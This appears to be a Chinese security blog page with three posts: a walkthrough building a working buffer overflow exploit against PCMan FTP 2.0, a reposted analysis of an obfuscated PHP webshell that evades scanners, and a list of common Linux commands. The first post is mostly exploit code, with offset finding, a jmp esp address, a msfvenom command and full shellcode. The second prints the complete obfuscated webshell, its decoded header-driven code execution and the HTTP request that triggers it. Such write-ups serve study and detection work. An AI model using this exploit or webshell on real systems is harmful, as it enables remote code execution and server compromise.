admin 发布的文章

PCMAN FTP 2.0 缓冲区溢出漏洞分析

程序下载地址:https://www.exploit-db.com/apps/9fceb6fefd0f3ca1a8c36e97b6cc925d-PCMan.7z
测试环境:Win 7 x86
调试工具:Immunity debugger
POC如下:

#!/usr/bin/env python
import socket
print "Creating malicious input!"
junk = '\x41'*3000

s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '127.0.0.1'
connect=s.connect((ip,21))
banner = s.recv(1024)
print banner
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS\r\n')
s.recv(1024)
s.send('PORT' + junk + '\r\n')
s.close()
        

运行程序并执行POC,程序崩溃,结果如下
12.png
EIP地址已经变成了我们所写的\x41,覆盖了EIP地址,证明该程序存在缓冲区栈溢出。
下一步,我们确定该程序的偏移地址,这里我们实用msf自带的程序,生成3000个字符。
2.png
POC程序这时如下:

import socket
print "Creating malicious input!"
junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9Dc0Dc1Dc2Dc3Dc4Dc5Dc6Dc7Dc8Dc9Dd0Dd1Dd2Dd3Dd4Dd5Dd6Dd7Dd8Dd9De0De1De2De3De4De5De6De7De8De9Df0Df1Df2Df3Df4Df5Df6Df7Df8Df9Dg0Dg1Dg2Dg3Dg4Dg5Dg6Dg7Dg8Dg9Dh0Dh1Dh2Dh3Dh4Dh5Dh6Dh7Dh8Dh9Di0Di1Di2Di3Di4Di5Di6Di7Di8Di9Dj0Dj1Dj2Dj3Dj4Dj5Dj6Dj7Dj8Dj9Dk0Dk1Dk2Dk3Dk4Dk5Dk6Dk7Dk8Dk9Dl0Dl1Dl2Dl3Dl4Dl5Dl6Dl7Dl8Dl9Dm0Dm1Dm2Dm3Dm4Dm5Dm6Dm7Dm8Dm9Dn0Dn1Dn2Dn3Dn4Dn5Dn6Dn7Dn8Dn9Do0Do1Do2Do3Do4Do5Do6Do7Do8Do9Dp0Dp1Dp2Dp3Dp4Dp5Dp6Dp7Dp8Dp9Dq0Dq1Dq2Dq3Dq4Dq5Dq6Dq7Dq8Dq9Dr0Dr1Dr2Dr3Dr4Dr5Dr6Dr7Dr8Dr9Ds0Ds1Ds2Ds3Ds4Ds5Ds6Ds7Ds8Ds9Dt0Dt1Dt2Dt3Dt4Dt5Dt6Dt7Dt8Dt9Du0Du1Du2Du3Du4Du5Du6Du7Du8Du9Dv0Dv1Dv2Dv3Dv4Dv5Dv6Dv7Dv8Dv9"
 
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '127.0.0.1'
connect=s.connect((ip,21))
banner = s.recv(1024)
print banner
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS\r\n')
s.recv(1024)
s.send('PORT' + junk + '\r\n')
s.close()

执行以上POC,结果如下图所示
3.png
EIP变成了7043396F,同样使用msf自带的工具,根据EIP的地址,查询具体的偏移
4.png
上图所示,偏移为2008,为了证明偏移正确,这时我们的POC改成如下并执行

import socket
print "Creating malicious input!"
junk = "\x41"*2008+"\x42"*4+"\x43"*(3000-2008-4)
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '127.0.0.1'
connect=s.connect((ip,21))
banner = s.recv(1024)
print banner
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS\r\n')
s.recv(1024)
s.send('PORT' + junk + '\r\n')
s.close()

如果偏移我们计算的正确,此时EIP应该被我们控制成\x42 我们执行并查看
5.png
可以看到EIP确实被覆盖成\x42,下一步,
坏字符。
6.png
可以看到从01一直到ff基本都是正常显示,只有0a变成了00,那么我们知道坏字符就是变成了00,我们直接生成弹计算器的shellcode,在生成shellcode时,默认屏蔽\x0a和本身的\x00
msfvenom -p windows/exec cmd=calc.exe --arch x86 --platform windows  -f python -b "\x0a\x00"
同时寻找jmp esp地址
7.png
我们选择kernel32.dll做为我们的跳转地址,接着Ctrl+f搜索jmp esp,
8.png
763af7f7就是我们的地址,数据在内存中的存储顺序是四个字节一组倒着存储,俗称小端序,所以我们需要把地址反着写入,最终我们的跳转地址为\xf7\xf7\x3a\x76
最终我们的POC如下

import socket
print "Creating malicious input!"
 
buf =  ""
buf += "\xbf\xc0\x1b\xb9\x96\xda\xc5\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x31\x31\x7a\x13\x03\x7a\x13\x83\xc2\xc4\xf9"
buf += "\x4c\x6a\x2c\x7f\xae\x93\xac\xe0\x26\x76\x9d\x20\x5c"
buf += "\xf2\x8d\x90\x16\x56\x21\x5a\x7a\x43\xb2\x2e\x53\x64"
buf += "\x73\x84\x85\x4b\x84\xb5\xf6\xca\x06\xc4\x2a\x2d\x37"
buf += "\x07\x3f\x2c\x70\x7a\xb2\x7c\x29\xf0\x61\x91\x5e\x4c"
buf += "\xba\x1a\x2c\x40\xba\xff\xe4\x63\xeb\x51\x7f\x3a\x2b"
buf += "\x53\xac\x36\x62\x4b\xb1\x73\x3c\xe0\x01\x0f\xbf\x20"
buf += "\x58\xf0\x6c\x0d\x55\x03\x6c\x49\x51\xfc\x1b\xa3\xa2"
buf += "\x81\x1b\x70\xd9\x5d\xa9\x63\x79\x15\x09\x48\x78\xfa"
buf += "\xcc\x1b\x76\xb7\x9b\x44\x9a\x46\x4f\xff\xa6\xc3\x6e"
buf += "\xd0\x2f\x97\x54\xf4\x74\x43\xf4\xad\xd0\x22\x09\xad"
buf += "\xbb\x9b\xaf\xa5\x51\xcf\xdd\xe7\x3f\x0e\x53\x92\x0d"
buf += "\x10\x6b\x9d\x21\x79\x5a\x16\xae\xfe\x63\xfd\x8b\xf1"
buf += "\x29\x5c\xbd\x99\xf7\x34\xfc\xc7\x07\xe3\xc2\xf1\x8b"
buf += "\x06\xba\x05\x93\x62\xbf\x42\x13\x9e\xcd\xdb\xf6\xa0"
buf += "\x62\xdb\xd2\xc2\xe5\x4f\xbe\x2a\x80\xf7\x25\x33"
 
 
nop="\x90"*32
#jmp esp \xf7\xf7\x3a\x76
junk = "A"*2008+"\xf7\xf7\x3a\x76"+nop+buf+"C"*2000
 
 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '127.0.0.1'
connect=s.connect((ip,21))
banner = s.recv(1024)
print banner
s.send('USER anonymous\r\n')
s.recv(1024)
s.send('PASS\r\n')
s.recv(1024)
s.send('PORT' + junk + '\r\n')
s.close()

NOP是空指令,这个指令不会对程序有任何影响 只是因为它可以执行不会出错而且只有一个字符 所以常用来作为填充
9.png
计算器弹出成功
生成弹shell的shellcode并执行
10.png
11.png 

 

[转]一类混淆变形的Webshell分析

1.jpg
Webshell简介

Webshell起初是作为管理员进行服务器远程管理的一类脚本的简称。现在Webshell更多的指Web入侵的工具脚本。Webshell不同于漏洞,而是利用应用漏洞或者服务器漏洞后上传到服务器进行后续利用,属于渗透测试的post-exploitation(后续利用阶段)。Webshell文件大小与功能千差万别,从最简单的一句话类命令执行Webshell到提供各种复杂操作(如端口扫描、数据库操作、内网渗透)的大马。

而为了能够及时地发现这些Webshell,出现很多能够识别出Webshell功能的工具,包括D盾,安全狗等各种安全防护软件。这些防护软件的思路也很简单,通过内置一些常见的Webshell的规则特征,然后对文件进行扫描,如果符合规则,则认为是Webshell。攻击者们为了绕过这些防护软件的检测,都会变换自己的Webshell写法,在保证功能的前提下确保自己的Webshell不会被查杀,其中尤以PHP的写法为多。因为PHP是脚本语言,而且能够利用的函数也很多,再加上PHP语言的特性也是十分的多,导致一个Webshell可以进行千变万化.PHP WebShell变形技术总结这篇文章就总结了常见的php类的Webshell变形技术。繁多的写法也为安全防护软件的识别提出了挑战。

本篇文章就是我之前做有关Webshell相关的工作时发现一类Webshell,此类Webshell无法被目前的安全防护软件识别,我因此对其进行了分析。本篇文章就是对此类Webshell的分析,最后对混淆的Webshell如何进行分析的一些思考,也希望大家提出一些更好的方法。

前言

之前分析Webshell时,发现一类Webshell完全可以逃过各种检测软件包括D盾、安全狗等,D盾甚至不会对这类的Webshell进行任何的警告。但是如果我们从代码层面上看完全是无意义的字符串,甚至都不能说是代码。但是如果我们抽丝破茧一步步地分析可以发现的确是Webshell。后来通过大量的样本收集工作,我发现这类的Webshell混淆方式不仅相似,连最后还原出来的Webshell的格式也是十分的雷同。而本文就是对这类Webshell的分析,也希望能够其他抛砖引玉的作用,大佬们也能够提供自己的思路。

分析

Webshell的代码如下:

<?php
$XR='r0nw'&~Y0dTO1Wt;$ZAps4M='+l-'&')fw';$AKsSa=FAPZB." "|HDAHH.'!';$j5gQLS=#XTQGk'.
   'c{'.wwtw_w.'}~ov}oo'&'sw}o~w_w}~su}oo';$PqU=#li5cBcb42vVsRV4pLBKntygCNiV5lHCR'.
   'HA*:[ q`@}T@0ZLb>y M^@$@4@tA%0PI'|'@]'.kkR4UPA.'-'.PJt8_.'!Va%XB@RB0@'./*lCU5'.
    'UP@0M*/TPc0PK;$FtaeUxv='}9Z~?V@[4~o}Mj>'.Z_zK.'?'.keFwUsOd.'^We}'&'}{zN?'./*n'.
    'fLL*/wxGiDe.'}mOz[oKa~~7'.Owuug.'{~{n{';$rG4r3bseFJ='*n}Pqf-n#g'^#a_lCdbiaBRR'.
   'm81-2Eu0~C';$rB='b1`]gAD~`A'|'!6`Ag@'.ptYG;$L_X96rF='kO>w=?~'&'Q{mw>7^';'yuBw'.
    '-.A';$yc='@@b @"!'|'BBp)@`)';$mdKTVt=EcP791|UAFQ."<u";$Ulin='4z#j1!K'^#IMQIwU'.
   'c>Q pir';$wVYqzGy5='u%!k*{il`'^'=qu;u#690';$BywtZ8QaHFk=_KELlmn&'_Wa~M[_';'BU'.
    'iGh o|';$YzuZ=n^')';$PpCD4RJ914D="+|*%"^t0ck;$IIBxK1GA_=']_'&g_;$StoL=M&i;'Jb'.
    'K8f-._$Js';$IXedwT=T&D;$ZVe4pZrS1=$ZAps4M|('^di'^';D]');$atE4muYNLph=(#Dfao7h'.
   '  $;$G'|') %$$U')^$AKsSa;$vUr=$j5gQLS&('A^>1NQy%F+'.SHI8.'['^#Ereo6cpaZFW9p3w'.
   '&$YX8<&C1E$4 W5');$Pwp6=('!Pec|L'^VlMPH5)^('?h}go>'&'?k|s{y');$HLOTWYy3Ip6=/*'.
    '2c@lB!:Kru*/$PqU^$FtaeUxv;$bAXD1h2s=$rG4r3bseFJ^$rB;$O0Xnet=("9{".SIkzl&#gIg3'.
   '=~'.KQnZo)^$L_X96rF;$ro74Wy=$yc|$Ulin;$OIYd=$mdKTVt&('ysO[r}'&'{w_[y}');if(/*'.
    'Tf0tz*/$ZVe4pZrS1($atE4muYNLph($Pwp6))==$HLOTWYy3Ip6)$bIywY=$vUr($bAXD1h2s,/*'.
    'HNy*/$atE4muYNLph($wVYqzGy5.$BywtZ8QaHFk.$YzuZ.$PpCD4RJ914D.$IIBxK1GA_./*wQit'.
    'NLNa~*/$StoL.$IXedwT));$bIywY($O0Xnet,$ro74Wy,$OIYd);#k;xvCWvgqQ!L>?10w:u&{E'.
   '@!*V9v939Jjr,?+kMW$8#{^v7[MR9pBS,PSH.o5}';
?>

初看之下,没有任何Webshell的痕迹。
去除注释

由于代码中混杂了部分无意义的注释,如第1行中的#XTQGk'.。所以我们首先是去除注释,得到:

<?php
$XR='r0nw'&~Y0dTO1Wt;$ZAps4M='+l-'&')fw';$AKsSa=FAPZB." "|HDAHH.'!';$j5gQLS=
    'c{'.wwtw_w.'}~ov}oo'&'sw}o~w_w}~su}oo';$PqU=
    'HA*:[ q`@}T@0ZLb>y M^@$@4@tA%0PI'|'@]'.kkR4UPA.'-'.PJt8_.'!Va%XB@RB0@'.TPc0PK;$FtaeUxv='}9Z~?V@[4~o}Mj>'.Z_zK.'?'.keFwUsOd.'^We}'&'}{zN?'.wxGiDe.'}mOz[oKa~~7'.Owuug.'{~{n{';$rG4r3bseFJ='*n}Pqf-n#g'^
    'm81-2Eu0~C';$rB='b1`]gAD~`A'|'!6`Ag@'.ptYG;$L_X96rF='kO>w=?~'&'Q{mw>7^';'yuBw'.
'-.A';$yc='@@b @"!'|'BBp)@`)';$mdKTVt=EcP791|UAFQ."<u";$Ulin='4z#j1!K'^
    'c>Q pir';$wVYqzGy5='u%!k*{il`'^'=qu;u#690';$BywtZ8QaHFk=_KELlmn&'_Wa~M[_';'BU'.
'iGh o|';$YzuZ=n^')';$PpCD4RJ914D="+|*%"^t0ck;$IIBxK1GA_=']_'&g_;$StoL=M&i;'Jb'.
'K8f-._$Js';$IXedwT=T&D;$ZVe4pZrS1=$ZAps4M|('^di'^';D]');$atE4muYNLph=(
        '  $;$G'|') %$$U')^$AKsSa;$vUr=$j5gQLS&('A^>1NQy%F+'.SHI8.'['^
        '&$YX8<&C1E$4 W5');$Pwp6=('!Pec|L'^VlMPH5)^('?h}go>'&'?k|s{y');$HLOTWYy3Ip6=$PqU^$FtaeUxv;$bAXD1h2s=$rG4r3bseFJ^$rB;$O0Xnet=("9{".SIkzl&
        '=~'.KQnZo)^$L_X96rF;$ro74Wy=$yc|$Ulin;$OIYd=$mdKTVt&('ysO[r}'&'{w_[y}');if($ZVe4pZrS1($atE4muYNLph($Pwp6))==$HLOTWYy3Ip6)$bIywY=$vUr($bAXD1h2s,$atE4muYNLph($wVYqzGy5.$BywtZ8QaHFk.$YzuZ.$PpCD4RJ914D.$IIBxK1GA_.$StoL.$IXedwT));$bIywY($O0Xnet,$ro74Wy,$OIYd);
'@!*V9v939Jjr,?+kMW$8#{^v7[MR9pBS,PSH.o5}';
?>

代码格式化

为了便于分析,对代码按照;重新对代码进行编排,得到如下所示的代码:

$XR='r0nw'&~Y0dTO1Wt;
$ZAps4M='+l-'&')fw';
$AKsSa=FAPZB." "|HDAHH.'!';
$j5gQLS= 'c{'.wwtw_w.'}~ov}oo'&'sw}o~w_w}~su}oo';
$PqU= 'HA*:[ q`@}T@0ZLb>y M^@$@4@tA%0PI'|'@]'.kkR4UPA.'-'.PJt8_.'!Va%XB@RB0@'.TPc0PK;
$FtaeUxv='}9Z~?V@[4~o}Mj>'.Z_zK.'?'.keFwUsOd.'^We}'&'}{zN?'.wxGiDe.'}mOz[oKa~~7'.Owuug.'{~{n{';
$rG4r3bseFJ='*n}Pqf-n#g'^ 'm81-2Eu0~C';
$rB='b1`]gAD~`A'|'!6`Ag@'.ptYG;
$L_X96rF='kO>w=?~'&'Q{mw>7^';'yuBw'. '-.A';
$yc='@@b @"!'|'BBp)@`)';
$mdKTVt=EcP791|UAFQ."<u";
$Ulin='4z#j1!K'^ 'c>Q pir';
$wVYqzGy5='u%!k*{il`'^'=qu;u#690';
$BywtZ8QaHFk=_KELlmn&'_Wa~M[_';
'BU'. 'iGh o|';
$YzuZ=n^')';
$PpCD4RJ914D="+|*%"^t0ck;
$IIBxK1GA_=']_'&g_;
$StoL=M&i;
'Jb'. 'K8f-._$Js';
$IXedwT=T&D;
$ZVe4pZrS1=$ZAps4M|('^di'^';D]');
$atE4muYNLph=('  $;$G'|') %$$U')^$AKsSa;
$vUr=$j5gQLS&('A^>1NQy%F+'.SHI8.'['^ '&$YX8<&C1E$4 W5');
$Pwp6=('!Pec|L'^VlMPH5)^('?h}go>'&'?k|s{y');
$HLOTWYy3Ip6=$PqU^$FtaeUxv;
$bAXD1h2s=$rG4r3bseFJ^$rB;
$O0Xnet=("9{".SIkzl& '=~'.KQnZo)^$L_X96rF;
$ro74Wy=$yc|$Ulin;$OIYd=$mdKTVt&('ysO[r}'&'{w_[y}');
if($ZVe4pZrS1($atE4muYNLph($Pwp6))==$HLOTWYy3Ip6)$bIywY=$vUr($bAXD1h2s,$atE4muYNLph($wVYqzGy5.$BywtZ8QaHFk.$YzuZ.$PpCD4RJ914D.$IIBxK1GA_.$StoL.$IXedwT));
$bIywY($O0Xnet,$ro74Wy,$OIYd);
'@!*V9v939Jjr,?+kMW$8#{^v7[MR9pBS,PSH.o5}';

分析代码发现,大部分的代码都是通过字符串的|、^、.操作赋值,只有最后两行代码:

if($ZVe4pZrS1($atE4muYNLph($Pwp6))==$HLOTWYy3Ip6)$bIywY=$vUr($bAXD1h2s,$atE4muYNLph($wVYqzGy5.$BywtZ8QaHFk.$YzuZ.$PpCD4RJ914D.$IIBxK1GA_.$StoL.$IXedwT));
$bIywY($O0Xnet,$ro74Wy,$OIYd);

是关键性的代码,而其中的变量都是通过前面的初始化或者是运算得到的。那么我们就可以注释最后两行代码,输出其中所有的变量。结果如下:2.png

带入到最后的两行代码中,得到:

if(md5(getenv('HTTP_A'))=='5d15db53a91790e913dc4e05a1319c42') $bIywY=create_function('$a,$b,$c',getenv('HTTP_X_UP_CALLING_LINE_ID'));
$bIywY('x1o6Vm2','WFrkAj9','WFrkAj9');

Webshell分析

if(md5(getenv('HTTP_A'))=='5d15db53a91790e913dc4e05a1319c42') $bIywY=create_function('$a,$b,$c',getenv('HTTP_X_UP_CALLING_LINE_ID'));
$bIywY('x1o6Vm2','WFrkAj9','WFrkAj9');

这个代码就是很明显的Webshell代码了,整个代码主要是利用了PHP的以下特性:

所有的通过getenv获取HTTP开头的变量都是可以通过请求头设置的,即用户/攻击者是可以控制的。
create_function能够执行代码,如$func = create_function('$a,$b','eval("phpinfo();");');$func();

在本题中我们利用以上的特性就可以进行代码执行了。由于其中的5d15db53a91790e913dc4e05a1319c42无法解出来,为了便于演示,换成e10adc3949ba59abbe56e057f20f883e(123456的md5)。
那么我们最终发送的payload为:

GET /test/tmp.php HTTP/1.1
Host: localhost
A: 123456
X-Up-Calling-Line-Id: assert("phpinfo();");

其中请求头A就是密码,而X-Up-Calling-Line-Id就是需要执行的命令,当然我们还可以将其改造为assert($_POST[cmd]);。
3.png

总结

其实本题目中最重要的两步就是去掉注释以及代码的重新编排,这个对于分析混淆的php代码是非常有帮助的。尤其是要注意到最后两行代码是需要进行注释的,否则直接运行由于无法通过md5的校验导致程序无法执行。
get_defined_vars

除了上述所讲到的通过var_dump(变量名)这种方式输出变量,还有很多其他的方法。如通过get_defined_vars()输出。我们通过在所有的变量下方加入:

<?php
$XR='r0nw'&~Y0dTO1Wt;
$ZAps4M='+l-'&')fw';
//..... php code
$vUr=$j5gQLS&('A^>1NQy%F+'.SHI8.'['^ '&$YX8<&C1E$4 W5');
$Pwp6=('!Pec|L'^VlMPH5)^('?h}go>'&'?k|s{y');
$HLOTWYy3Ip6=$PqU^$FtaeUxv;
$bAXD1h2s=$rG4r3bseFJ^$rB;
$O0Xnet=("9{".SIkzl&'=~'.KQnZo)^$L_X96rF;
$ro74Wy=$yc|$Ulin;
$OIYd=$mdKTVt&('ysO[r}'&'{w_[y}');
var_dump(get_defined_vars());
//if($ZVe4pZrS1($atE4muYNLph($Pwp6))==$HLOTWYy3Ip6)$bIywY=$vUr($bAXD1h2s,$atE4muYNLph($wVYqzGy5.$BywtZ8QaHFk.$YzuZ.$PpCD4RJ914D.$IIBxK1GA_.$StoL.$IXedwT));
//$bIywY($O0Xnet,$ro74Wy,$OIYd);

这样同样可以得到所有的变量
4.png
动态调试

这个方式是我比较推崇的,因为比较直接使用。通过一步一步跟踪代码更容易看清实质
5.png
不仅可以通过Variables查看所有的变量还可以通过Evaluate进行php代码编写得到中间变量。通过这两者的配合基本上就可以得到所有的变量信息了。

后文

通过分析,发现存在大量这种类似的Webshell代码,如下:
6.png
这些代码的结构同时相似的:最后生成的代码都是形如:

if(md5(getenv('HTTP_A'))=='5d15db53a91790e913dc4e05a1319c42') call_user_func('preg_replace','/[pS]/emix',getenv('HTTP_X_DEVICE_ACCEPT_CHARSET'),'eC11cC1kZXZjYXAtbXNpemU=');

那么猜测应该是有程序能够按照一定的规则生成这种加密的Webshell代码。这些Webshell的密码都是相同的,表明这些Webshell可能是出自同一人之手。

我们也有理由猜测,这个幕后的Webshell的作者可能是编写了一套规则,用以对原始的Webshell进行混淆变形从而绕过防护软件。从这个角度来看的话,如果有其他的攻击者也能够自行设计一套混淆加密的规则,那么是否也能够绕过防护软件呢?

说完了绕过,最后说明一下我对Webshell检测的看法。由于语言的特性,导致Webshell的变形层出不穷,如果仅仅只是收集已有的Webshell的规则,或者是通过文本字符串上面去对抗,是无法保证准确率的,变形的套路总是会多到精疲力竭,一种绕过姿势又可以衍生出出无限多的样本,所以如果想能够有效地检测出未知的Webshell,那么就需要借助于机器学习的方法来进行识别了。如何利用机器学习来识别出Webshell,那么这又是一篇很大的文章了。

本文由安全客原创发布 如若转载,请注明出处: https://www.anquanke.com/post/id/98889 安全客 -
有思想的安全新媒体

linux命令常用合集,提权(转)

常用9类命令   

文件目录类
1.建立目录:mkdir 目录名
2.删除空目录:rmdir 目录名
3.无条件删除子目录: rm -rf 目录名
4.改变当前目录:cd 目录名 (进入用户home目录:cd ~;进入上一级目录:cd -)
5.查看自己所在目录:pwd
6.查看当前目录大小:du
7.显示目录文件列表:ls -l (-a:增加显示隐含目录)
其中:蓝:目录;绿:可执行文件;红:压缩文件;浅蓝:链接文件;灰:其他文件;红底白字:错误的链接文件
8.浏览文件:more 文件名.txt;less 文件名.txt
9.复制文件: cp 源文件 目标文件 (-r:包含目录)
10.查找文件:(1)find (2)locate 命令名
11.链接:(1)建立hard链接:ln 来源文件 链接文件(-d:创建目录链接);(2)建立符号链接:ln -s 来源文件 链接文件

二.驱动挂载类
1.检查硬盘使用情况:df -T -h
2.检查磁盘分区:fdisk -l
3.挂载软硬光区:mount -t /dev/fdx|hdax /mnt/目录名
其中::modos--FAT16;vfat--FAT32;ntfs--NTFS;光驱--iso9660
支持中文名:mount -o iocharset=x /dev/hdax /mnt/目录名(其中:x=cp936或
挂载光驱:mount -t auto /dev/cdrom /mnt/cdrom
挂载ISO文件:mount -t iso9660 -o loop xxx.iso /path
4.解除挂载:umount /mnt/目录名
解除所有挂载:umount -a
5.建立文件系统:mkfs -t /dev/hdxx。其中:ftype:ext2、ext3、swap等

三.程序安装类
1.RPM包安装:(1)安装 rpm -ivh somesoft.rpm
(2)反安装 rpm -e somefost.rpm
(3)查询 rpm -q somefost 或 rpm -qpi somefost.rpm(其中:p未安装;i包含的信息)
(4)查询安装后位置:rpm -ql somefost.rpm
(5)升级安装:rpm -Uvh somesoft.rpm
(6)强制安装:rpm -ivh --nodeps somesoft.rpm 或 rpm -ivh --nodeps --force somesoft.rpm

2.源代码包安装:
查阅README
基本用法 (1)配置:解压目录下 ./configure
(2)编译:解压目录下 make
(3)安装:解压目录下 make install
3.src.rpm的安装
需要用到rpmbuild命令加上--rebuild参数。如 rpmbuild --rebuild ***.src.rpm。然后在/usr/src/下找
3.FC3下iso程序安装:system-config-packages --isodir=iso所在目录
RH下iso程序安装:redhat-config-packages --isodir=iso所在目录

四.压缩解压类
1.tar.gz类:(1)解压:tar -xvzf 文件.tar.gz;(2)tar.gz解至tar:gzip -d 文件.tar.gz(2)压缩:gzip 待压缩文件
2.tar未压缩类:(1)解包:tar -xvf 文件.tar;(2)打包:tar -cvf 文件.tar 文件列表
3.zip类:(1)解压:unzip 文件.zip -d dir;(2)压缩:zip zipfile 待压缩文件列表
4.bz2类:(1)解压:bunzip2 文件.bz2或bzip2 -d 文件.bz2;(2)压缩:bzip2 待压缩文件
5.z类:(1)解压:uncompress 文件.z;(2)压缩:compress 文件

五.进程控制类
1.列出当前进程ID:ps -auxw
2.终止进程:(1)终止单一进程:kill 进程ID号
(2)终止该程序所有进程:Killall 程序名
(3)终止X-Window程序:xkill
3.查看资源占用情况:(1)top (2)free (3)dmesg
4.查看环境变量值:env
5.重启:(1)reboot (2)Ctrl Alt Del (3)init 6
6.关机:(1)shutdown -h now (2)halt (3)init 0
7.切换桌面:switchdesk gnome|KDE|...

六.程序运行类
1.查询命令:whereis 命令名
2.后台运行X-Window程序:程序名&
3.强行退出X-Window程序:Ctrl Alt Backspace
4.查看帮助:
(1)简明帮助:命令名 --help | less
(2)更多帮助:man 命令名
(3)info 命令名
(4)help 命令名
5.查看系统路径:echo $PATH
